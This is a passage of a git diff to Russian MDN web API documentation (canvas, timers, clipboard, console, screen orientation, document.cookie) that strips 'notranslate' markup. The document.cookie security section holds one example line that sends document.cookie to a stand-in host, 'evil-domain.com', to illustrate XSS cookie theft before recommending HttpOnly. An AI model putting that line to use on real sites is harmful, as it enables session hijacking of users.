document.getElementById('canvas').getContext('2d'); ctx.font = "48px serif"; ctx.strokeText("Hello world", 10, 50); }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="300" height="100"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="300" height="100"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_strokeText", 310, 110)}}</p> @@ -95,7 +95,7 @@ baselines, due to glyphs extending far outside the em square." src="http://www.w <p>Редактируя код ниже, вы можете видеть, как меняется отображение текста на canvas в реальном времени:</p> -<pre class="brush: js;highlight[2] notranslate">ctx.font = "48px serif"; +<pre class="brush: js;highlight[2]">ctx.font = "48px serif"; ctx.textBaseline = "hanging"; ctx.strokeText("Hello world!", 0, 100); </pre> @@ -103,7 +103,7 @@ ctx.strokeText("Hello world!", 0, 100); <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> +<pre class="brush: html"><canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> <input id="edit" type="button" value="Edit" /> <input id="reset" type="button" value="Reset" /> @@ -114,7 +114,7 @@ ctx.textBaseline = "hanging"; ctx.strokeText("Hello world", 0, 100);</textarea> </pre> -<pre class="brush: js notranslate">var canvas = document.getElementById("canvas"); +<pre class="brush: js">var canvas = document.getElementById("canvas"); var ctx = canvas.getContext("2d"); var textarea = document.getElementById("code"); var reset = document.getElementById("reset"); @@ -153,7 +153,7 @@ window.addEventListener("load", drawCanvas); <p>Пример ниже показывает, как можно измерить ширину текста.</p> -<pre class="brush: js;highlight[3] notranslate">function draw() { +<pre class="brush: js;highlight[3]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); var text = ctx.measureText("foo"); // TextMetrics object text.width; // 16; diff --git a/files/ru/web/api/canvas_api/tutorial/transformations/index.html b/files/ru/web/api/canvas_api/tutorial/transformations/index.html index 5a557d2aed..a169bc0cf5 100644 --- a/files/ru/web/api/canvas_api/tutorial/transformations/index.html +++ b/files/ru/web/api/canvas_api/tutorial/transformations/index.html @@ -5,17 +5,17 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations --- <div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}</div> -<div class="summary"><span class="notranslate">Ранее в этом уроке мы узнали о</span> <span class="notranslate" style="background-color: #e6ecf9;"> <a href="https://translate.googleusercontent.com/translate_c?act=url&depth=1&hl=ru&ie=UTF8&prev=_t&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes&usg=ALkJrhiuWce927wE2920fN95Jlcrf1HyUg">сетке холста</a></span> <span class="notranslate">и <strong>координатном пространстве</strong> .</span> <span class="notranslate"> До сих пор мы использовали только сетку по умолчанию и изменили размер всего холста для наших нужд.</span> При преобразованиях существуют более мощные способы изменения исходных координат в различные положение, поворот сетки и даже масштабирование.</div> +<div class="summary"><span>Ранее в этом уроке мы узнали о</span> <span style="background-color: #e6ecf9;"> <a href="https://translate.googleusercontent.com/translate_c?act=url&depth=1&hl=ru&ie=UTF8&prev=_t&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes&usg=ALkJrhiuWce927wE2920fN95Jlcrf1HyUg">сетке холста</a></span> <span>и <strong>координатном пространстве</strong> .</span> <span> До сих пор мы использовали только сетку по умолчанию и изменили размер всего холста для наших нужд.</span> При преобразованиях существуют более мощные способы изменения исходных координат в различные положение, поворот сетки и даже масштабирование.</div> -<h2 id="Saving_and_restoring_state"><span class="notranslate" style="background-color: #e6ecf9;">Сохранение и восстановление состояния</span></h2> +<h2 id="Saving_and_restoring_state"><span style="background-color: #e6ecf9;">Сохранение и восстановление состояния</span></h2> -<p><span class="notranslate">Прежде чем перейти к методам преобразования, давайте рассмотрим два других метода, которые необходимы, когда вы начинаете создавать все более сложные рисунки.</span></p> +<p><span>Прежде чем перейти к методам преобразования, давайте рассмотрим два других метода, которые необходимы, когда вы начинаете создавать все более сложные рисунки.</span></p> <dl> <dt>{{domxref("CanvasRenderingContext2D.save", "save()")}}</dt> - <dd><span class="notranslate">Сохраняет все состояние холста.</span></dd> + <dd><span>Сохраняет все состояние холста.</span></dd> <dt>{{domxref("CanvasRenderingContext2D.restore", "restore()")}}</dt> - <dd><span class="notranslate">Восстанавливает последнее сохранённое состояние холста.</span></dd> + <dd><span>Восстанавливает последнее сохранённое состояние холста.</span></dd> </dl> <p>Состояние холста сохраняется в стеке. Каждый раз, когда вызывается метод <code>save()</code>, текущее состояние отрисовки записывается в стек. Состояние отрисовки содержит:</p> @@ -32,7 +32,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <p>Здесь показано, как функционирует сохранение в стек состояния отрисовки на примере последовательной отрисовки набора прямоугольников.</p> -<pre class="brush: js; highlight:[5,10,15,18] notranslate">function draw() { +<pre class="brush: js; highlight:[5,10,15,18]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); ctx.fillRect(0, 0, 150, 150); // рисуем прямоугольник с настройками по умолчанию @@ -54,9 +54,9 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>Сначала рисуется большой прямоугольник с настройками по умолчанию. Затем мы сохраняем состояние холста, после чего изменяем цвет заливки. Затем рисуем второй синий прямоугольник меньшего размера и опять сохраняем состояние. Снова изменяем какие-то настройки и рисуем третий полупрозрачный белый прямоугольник.</p> @@ -84,7 +84,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <p>Внутри функции <code>draw()</code> мы вызываем <code>fillRect()</code> девять раз, используя два цикла <code>for</code>. Каждый раз мы сохраняем состояние холста, смещаем его, рисуем прямоугольник, а затем восстанавливаем исходное состояние. Заметьте, что <code>fillRect()</code> всегда использует одни и те же параметры, а изменение позиции фигуры осуществляется с помощью <code>translate()</code>.</p> -<pre class="brush: js; highlight:[7] notranslate">function draw() { +<pre class="brush: js; highlight:[7]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); for (var i = 0; i < 3; i++) { for (var j = 0; j < 3; j++) { @@ -99,9 +99,9 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("A_translate_example", "160", "160", "https://mdn.mozillademos.org/files/9857/translate.png")}}</p> @@ -125,7 +125,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <p><strong>Памятка</strong>: Углы измеряются в радианах, а не в градусах. Для преобразования единиц используйте следующую формулу: <code>radians = (Math.PI/180)*degrees</code>.</p> </div> -<pre class="brush: js; highlight:[9, 23] notranslate">function draw() { +<pre class="brush: js; highlight:[9, 23]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // left rectangles, rotate from canvas origin @@ -159,9 +159,9 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <p>Для поворота прямоугольника относительно его центра мы сначала смещаем начало координат, выполняем поворот, а затем выполняем обратное смещение к точке 0,0, и наконец рисуем прямоугольник.</p> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="300" height="200"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="300" height="200"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("A_rotate_example", "310", "210", "https://mdn.mozillademos.org/files/9859/rotate.png")}}</p> @@ -183,7 +183,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <p>В этом примере мы нарисуем прямоугольники, используя разные масштабные коэффициенты.</p> -<pre class="brush: js; highlight:[6,11] notranslate">function draw() { +<pre class="brush: js; highlight:[6,11]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // рисуем масштабированный прямоугольник. @@ -201,9 +201,9 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("A_scale_example", "160", "160", "https://mdn.mozillademos.org/files/9861/scale.png")}}</p> @@ -244,7 +244,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <h3 id="Пример_использования_transform_и_setTransform">Пример использования <code>transform</code> и <code>setTransform</code></h3> -<pre class="brush: js; highlight:[12,15] notranslate">function draw() { +<pre class="brush: js; highlight:[12,15]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); var sin = Math.sin(Math.PI / 6); @@ -265,9 +265,9 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="200" height="250"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="200" height="250"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_использования_transform_и_setTransform", "230", "280", "https://mdn.mozillademos.org/files/255/Canvas_transform.png")}}</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html index c6793693ce..1a6a91d285 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">CanvasGradient <var>ctx</var>.createLinearGradient(<var>x0</var>, <var>y0</var>, <var>x1</var>, <var>y1</var>); +<pre class="syntaxbox">CanvasGradient <var>ctx</var>.createLinearGradient(<var>x0</var>, <var>y0</var>, <var>x1</var>, <var>y1</var>); </pre> <p>Метод <code>createLinearGradient()</code> принимает четыре аргумента для определения начала и конца точек линии градиента.</p> @@ -55,12 +55,12 @@ translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><canvas id="canvas"></canvas> +<pre class="brush: html"><canvas id="canvas"></canvas> </pre> <h4 id="JavaScript">JavaScript</h4> -<pre class="brush: js; highlight:[7] notranslate">var canvas = document.getElementById('canvas'); +<pre class="brush: js; highlight:[7]">var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); // Создание линейного градиента diff --git a/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html index 3ac6af2315..9bbe6aa749 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/CanvasRenderingContext2D/ellipse <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">void <em>ctx</em>.ellipse(<em>x</em>, <em>y</em>, <em>radiusX</em>, <em>radiusY</em>, <em>rotation</em>, <em>startAngle</em>, <em>endAngle</em> [, <em>anticlockwise</em>]); +<pre class="syntaxbox">void <em>ctx</em>.ellipse(<em>x</em>, <em>y</em>, <em>radiusX</em>, <em>radiusY</em>, <em>rotation</em>, <em>startAngle</em>, <em>endAngle</em> [, <em>anticlockwise</em>]); </pre> <p><code>ellipse()</code> - метод, который создаёт эллиптическую дугу с центром в точках <code>(x, y)</code> с радиусом <code>radiusX</code> и <code>radiusY</code>. Путь начинается от точки <code>startAngle</code> и заканчивается в точке <code>endAngle</code>, идёт по направлению, казанному в параметре (по часовой стрелке или против неё) <code>anticlockwise</code> .</p> @@ -49,12 +49,12 @@ translation_of: Web/API/CanvasRenderingContext2D/ellipse <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><canvas id="canvas" width="200" height="200"></canvas> +<pre class="brush: html"><canvas id="canvas" width="200" height="200"></canvas> </pre> <h4 id="JavaScript">JavaScript</h4> -<pre class="brush: js; highlight:[6] notranslate">const canvas = document.getElementById('canvas'); +<pre class="brush: js; highlight:[6]">const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); // Рисование эллипса @@ -80,12 +80,12 @@ ctx.stroke(); <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><canvas id="canvas"></canvas> +<pre class="brush: html"><canvas id="canvas"></canvas> </pre> <h4 id="JavaScript_2">JavaScript</h4> -<pre class="brush: js; highlight:[6,11,16] notranslate">const canvas = document.getElementById('canvas'); +<pre class="brush: js; highlight:[6,11,16]">const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.fillStyle = 'red'; diff --git a/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html index 74b759b2b1..47d83f96e4 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/CanvasRenderingContext2D/fillText <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">void <var><em>ctx</em>.fillText(text, x, y [, maxWidth]);</var> +<pre class="syntaxbox">void <var><em>ctx</em>.fillText(text, x, y [, maxWidth]);</var> </pre> <h3 id="Параметры">Параметры</h3> @@ -38,12 +38,12 @@ translation_of: Web/API/CanvasRenderingContext2D/fillText <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><canvas id="canvas"></canvas> +<pre class="brush: html"><canvas id="canvas"></canvas> </pre> <h4 id="JavaScript">JavaScript</h4> -<pre class="brush: js; highlight:[5] notranslate">var canvas = document.getElementById("canvas"); +<pre class="brush: js; highlight:[5]">var canvas = document.getElementById("canvas"); var ctx = canvas.getContext("2d"); ctx.font = "48px serif"; @@ -55,7 +55,7 @@ ctx.fillText("Hello world", 50, 100); <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> +<pre class="brush: html"><canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> <input id="edit" type="button" value="Edit" /> <input id="reset" type="button" value="Reset" /> @@ -65,7 +65,7 @@ ctx.font = "48px serif"; ctx.fillText("Hello world", 50, 100);</textarea> </pre> -<pre class="brush: js notranslate">var canvas = document.getElementById("canvas"); +<pre class="brush: js">var canvas = document.getElementById("canvas"); var ctx = canvas.getContext("2d"); var textarea = document.getElementById("code"); var reset = document.getElementById("reset"); diff --git a/files/ru/web/api/cleartimeout/index.html b/files/ru/web/api/cleartimeout/index.html index b7f57b0b6e..b535695757 100644 --- a/files/ru/web/api/cleartimeout/index.html +++ b/files/ru/web/api/cleartimeout/index.html @@ -10,7 +10,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/clearTimeout <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>scope</em>.clearTimeout(<em>timeoutID</em>) +<pre class="syntaxbox"><em>scope</em>.clearTimeout(<em>timeoutID</em>) </pre> <h3 id="Параметры">Параметры</h3> @@ -27,7 +27,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/clearTimeout <p>Запустите приведённый ниже скрипт в контакте веб-страницы и кликните один раз. Вы увидите всплывающее сообщение через 1 секунду. Если вы щёлкните страницу несколько раз за одну секунду, предупреждение появится только один раз.</p> -<pre class="brush: js notranslate">var alarm = { +<pre class="brush: js">var alarm = { remind: function(aMessage) { alert(aMessage); this.timeoutID = undefined; diff --git a/files/ru/web/api/clients/openwindow/index.html b/files/ru/web/api/clients/openwindow/index.html index a1f6ba58c9..d826c65b06 100644 --- a/files/ru/web/api/clients/openwindow/index.html +++ b/files/ru/web/api/clients/openwindow/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/Clients/openWindow <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">self.clients.openWindow(<em>url</em>).then(function(<em>windowClient</em>) { +<pre class="syntaxbox">self.clients.openWindow(<em>url</em>).then(function(<em>windowClient</em>) { // Do something with your WindowClient });</pre> @@ -41,7 +41,7 @@ translation_of: Web/API/Clients/openWindow <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate">// Отправить уведомление в OS, если возможно +<pre class="brush: js">// Отправить уведомление в OS, если возможно if (self.Notification.permission === 'granted') { const notificationObject = { body: 'Click here to view your messages.', diff --git a/files/ru/web/api/clipboard_api/index.html b/files/ru/web/api/clipboard_api/index.html index eee5f234f1..b377523d09 100644 --- a/files/ru/web/api/clipboard_api/index.html +++ b/files/ru/web/api/clipboard_api/index.html @@ -30,7 +30,7 @@ translation_of: Web/API/Clipboard_API <p>Вместо создания объекта буфера посредством инициализации экземпляра, вы получаете доступ к системному буферу обмена через глобальный {{domxref("Navigator.clipboard")}}:</p> -<pre class="brush: js notranslate">navigator.clipboard.readText().then( +<pre class="brush: js">navigator.clipboard.readText().then( clipText => document.querySelector(".editor").innerText += clipText);</pre> <p>Этот фрагмент извлекает текст из буфера обмена и добавляет его к первому элементу, найденному с помощью <code>editor</code> (редактора) классов. Этот код безопасен, поскольку {{domxref("Clipboard.readText", "readText()")}} (и {{domxref("Clipboard.read", "read()")}}, если на то пошло) возвращает пустую строку, если в буфере обмена нет текста.</p> diff --git a/files/ru/web/api/console/clear/index.html b/files/ru/web/api/console/clear/index.html index 9f0985ba88..4bee01887f 100644 --- a/files/ru/web/api/console/clear/index.html +++ b/files/ru/web/api/console/clear/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/Console/clear <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">console.clear(); +<pre class="syntaxbox">console.clear(); </pre> <h2 id="Спецификация">Спецификация</h2> diff --git a/files/ru/web/api/console/debug/index.html b/files/ru/web/api/console/debug/index.html index 4d90c7e264..9a0606f361 100644 --- a/files/ru/web/api/console/debug/index.html +++ b/files/ru/web/api/console/debug/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Console/debug <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">console.debug(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]); +<pre class="syntaxbox">console.debug(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]); console.debug(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]); </pre> diff --git a/files/ru/web/api/css_object_model/managing_screen_orientation/index.html b/files/ru/web/api/css_object_model/managing_screen_orientation/index.html index 34c3cb7125..673a22eafa 100644 --- a/files/ru/web/api/css_object_model/managing_screen_orientation/index.html +++ b/files/ru/web/api/css_object_model/managing_screen_orientation/index.html @@ -25,7 +25,7 @@ original_slug: Web/API/CSS_Object_Model/ориентация_экрана <p>Пример. Имеется HTML страница:</p> -<pre class="brush: html notranslate"><ul id="toolbar"> +<pre class="brush: html"><ul id="toolbar"> <li>A</li> <li>B</li> <li>C</li> @@ -36,7 +36,7 @@ original_slug: Web/API/CSS_Object_Model/ориентация_экрана <p>Соответствующий CSS:</p> -<pre class="brush: css notranslate">/* Сначала зададим простые стили */ +<pre class="brush: css">/* Сначала зададим простые стили */ html, body { width : 100%; @@ -79,7 +79,7 @@ li { <p>Теперь разберёмся с поведением страницы в различных случаях ориентации.</p> -<pre class="brush: css notranslate">/* Для портретного режима отправим панель на верхнюю часть области отображения */ +<pre class="brush: css">/* Для портретного режима отправим панель на верхнюю часть области отображения */ @media screen and (orientation: portrait) { #toolbar { @@ -146,7 +146,7 @@ li { <p>Событие {{event("orientationchange")}} возникает каждый раз, когда устройство изменяет ориентацию экрана и самого себя, и может быть отслежено свойством {{domxref("Screen.orientation")}}.</p> -<pre class="brush: js notranslate">screen.addEventListener("orientationchange", function () { +<pre class="brush: js">screen.addEventListener("orientationchange", function () { console.log("The orientation of the screen is: " + screen.orientation); }); </pre> @@ -157,7 +157,7 @@ li { <p>Метод {{domxref("Screen.lockOrientation()")}} принимает одну или несколько строк для определения типа блокировки: <code>portrait-primary</code>, <code>portrait-secondary</code>, <code>landscape-primary</code>, <code>landscape-secondary</code>, <code>portrait</code>, <code>landscape</code>. Подробнее: {{domxref("Screen.lockOrientation")}}.</p> -<pre class="brush: js notranslate">screen.lockOrientation('landscape');</pre> +<pre class="brush: js">screen.lockOrientation('landscape');</pre> <div class="note"> <p><strong>Примечание:</strong> Положение экрана зависит от конкретной настройки приложения. Если в приложении A экран блокируется на альбомную ориентацию (<code>landscape</code>), а приложение B блокирует экран на портретный режим (<code>portrait</code>), @@ -170,7 +170,7 @@ li { <p>Для Firefox OS и Firefox Android (скоро заработает и в десктопном Firefox) существует более специфичный способ: в файле манифеста вашего приложения можно указать <a href="/en-US/Apps/Build/Manifest#orientation">ориентацию</a>:</p> -<pre class="brush: json notranslate">"orientation": "portrait"</pre> +<pre class="brush: json">"orientation": "portrait"</pre> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/document/cookie/index.html b/files/ru/web/api/document/cookie/index.html index fa6153145c..4d8ddfdc83 100644 --- a/files/ru/web/api/document/cookie/index.html +++ b/files/ru/web/api/document/cookie/index.html @@ -17,13 +17,13 @@ translation_of: Web/API/Document/cookie <h3 id="Чтение_всех_cookies_связанных_с_текущим_документом">Чтение всех cookies, связанных с текущим документом</h3> -<pre class="syntaxbox notranslate"><em>allCookies</em> = <em>document</em>.cookie;</pre> +<pre class="syntaxbox"><em>allCookies</em> = <em>document</em>.cookie;</pre> <p>In the code above <var>allCookies</var> is a string containing a semicolon-separated list of all cookies (i.e. <code><var>key</var>=<var>value</var></code> pairs). Note that each <var>key</var> and <var>value</var> may be surrounded by whitespace (space and tab characters): in fact <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a> mandates a single space after each semicolon, but some user agents may not abide by this.</p> <h3 id="Запись_новой_cookie">Запись новой cookie</h3> -<pre class="syntaxbox notranslate" id="new-cookie_syntax"><em>document</em>.cookie = <em>newCookie</em>;</pre> +<pre class="syntaxbox" id="new-cookie_syntax"><em>document</em>.cookie = <em>newCookie</em>;</pre> <p>В приведённом коде <code>newCookie</code> - строка в виде <code><em>key</em>=<em>value</em></code><em>. </em>Заметьте, у вас есть возможность установить/обновить лишь одну связку <code><em>key</em>=<em>value</em></code> за один раз, используя этот метод. Стоит отметить, что:</p> @@ -86,21 +86,21 @@ translation_of: Web/API/Document/cookie <h3 id="Пример_1_Простое_использование">Пример #1: Простое использование</h3> -<pre class="brush: js notranslate">document.cookie = "name=oeschger"; +<pre class="brush: js">document.cookie = "name=oeschger"; document.cookie = "favorite_food=tripe"; function alertCookie() { alert(document.cookie); } </pre> -<pre class="brush: html notranslate"><button onclick="alertCookie()">Show cookies</button> +<pre class="brush: html"><button onclick="alertCookie()">Show cookies</button> </pre> <p>{{EmbedLiveSample('Пример_1_Простое_использование', 200, 36)}}</p> <h3 id="Пример_2_Получить_cookie_с_именем_test2">Пример #2: Получить cookie с именем <em>test2</em></h3> -<pre class="brush: js notranslate">document.cookie = "test1=Hello"; +<pre class="brush: js">document.cookie = "test1=Hello"; document.cookie = "test2=World"; var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1"); @@ -110,7 +110,7 @@ function alertCookieValue() { } </pre> -<pre class="brush: html notranslate"><button onclick="alertCookieValue()">Show cookie value</button></pre> +<pre class="brush: html"><button onclick="alertCookieValue()">Show cookie value</button></pre> <p>{{EmbedLiveSample('Пример_2_Получить_cookie_с_именем_test2', 200, 36)}}</p> @@ -118,30 +118,30 @@ function alertCookieValue() { <p>При использовании следующего кода замените все вхождения <code>doSomethingOnlyOnce</code> (наименование cookie) на другое имя.</p> -<pre class="brush: js notranslate">function doOnce() { +<pre class="brush: js">function doOnce() { if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { alert("Do something here!"); document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT"; } }</pre> -<pre class="brush: html notranslate"><button onclick="doOnce()">Only do something once</button></pre> +<pre class="brush: html"><button onclick="doOnce()">Only do something once</button></pre> <p>{{EmbedLiveSample('Пример_3_Выполнить_операцию_единожды', 200, 36)}}</p> <h3 id="Пример_4_Перезагрузить_cookie">Пример #4: Перезагрузить cookie</h3> -<pre class="brush: js notranslate">function resetOnce() { +<pre class="brush: js">function resetOnce() { document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; }</pre> -<pre class="brush: html notranslate"><button onclick="resetOnce()">Reset only once cookie</button></pre> +<pre class="brush: html"><button onclick="resetOnce()">Reset only once cookie</button></pre> <p>{{EmbedLiveSample('Пример_4_Перезагрузить_cookie', 200, 36)}}</p> <h3 id="Example_5_Проверить_существование_cookie">Example #5: Проверить существование cookie</h3> -<pre class="notranslate"><code>//ES5 +<pre><code>//ES5 if (document.cookie.split(';').filter(function(item) { return item.trim().indexOf('reader=') == 0 @@ -157,7 +157,7 @@ if (document.cookie.split(';').filter((item) => item.trim().startsWith('reade <h3 id="Example_6_Проверить_что_cookie_имеет_определённое_значение">Example #6: Проверить, что cookie имеет определённое значение</h3> -<pre class="notranslate"><code>//ES5 +<pre><code>//ES5 if (document.cookie.split(';').filter(function(item) { return item.indexOf('reader=1') >= 0 @@ -177,7 +177,7 @@ if (document.cookie.split(';').filter((item) => item.includes('reader=1')).le <p>Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -</p> -<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; </pre> <p>The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a>.</p> @@ -195,7 +195,7 @@ if (document.cookie.split(';').filter((item) => item.includes('reader=1')).le <h5 id="The_server_tells_the_client_to_store_a_cookie">The server tells the client to store a cookie</h5> -<pre class="eval notranslate">HTTP/1.0 200 OK +<pre class="eval">HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT @@ -204,7 +204,7 @@ Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT <h5 id="The_client_sends_back_to_the_server_its_cookies_previously_stored">The client sends back to the server its cookies previously stored</h5> -<pre class="eval notranslate">GET /sample_page.html HTTP/1.1 +<pre class="eval">GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */* @@ -216,7 +216,7 @@ Accept: */* <h5 id="Library">Library</h5> -<pre class="brush: js notranslate">/*\ +<pre class="brush: js">/*\ |*| |*| :: Translate relative paths to absolute paths :: |*| @@ -239,7 +239,7 @@ function relPathToAbs (sRelPath) { <h5 id="Sample_usage">Sample usage</h5> -<pre class="brush: js notranslate">/* Let us be in /en-US/docs/Web/API/document.cookie */ +<pre class="brush: js">/* Let us be in /en-US/docs/Web/API/document.cookie */ alert(location.pathname); // displays: /en-US/docs/Web/API/document.cookie @@ -260,7 +260,7 @@ alert(relPathToAbs("../Guide/././API/../../../Firefox")); <p>If you don't want to use an <em>absolute date</em> for the <code>end</code> parameter, here you can find some numeric examples of expiration-dates <em>relative to the moment of storage of the cookie</em>:</p> -<pre class="brush: js notranslate">docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY +<pre class="brush: js">docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days) docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR</pre> @@ -271,7 +271,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e <h4 id="Библиотека">Библиотека</h4> -<pre class="notranslate"><code>function executeOnce () { +<pre><code>function executeOnce () { var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string"; if (bImplGlob) { argc++; } if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); } @@ -286,7 +286,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e <h4 id="Синтаксис_2">Синтаксис</h4> -<pre class="notranslate">executeOnce(<var>callback</var>[, <var>thisObject</var>[, <var>argumentToPass1</var>[, <var>argumentToPass2</var>[, …[, <var>argumentToPassN</var>]]]]], <var>identifier</var>[, 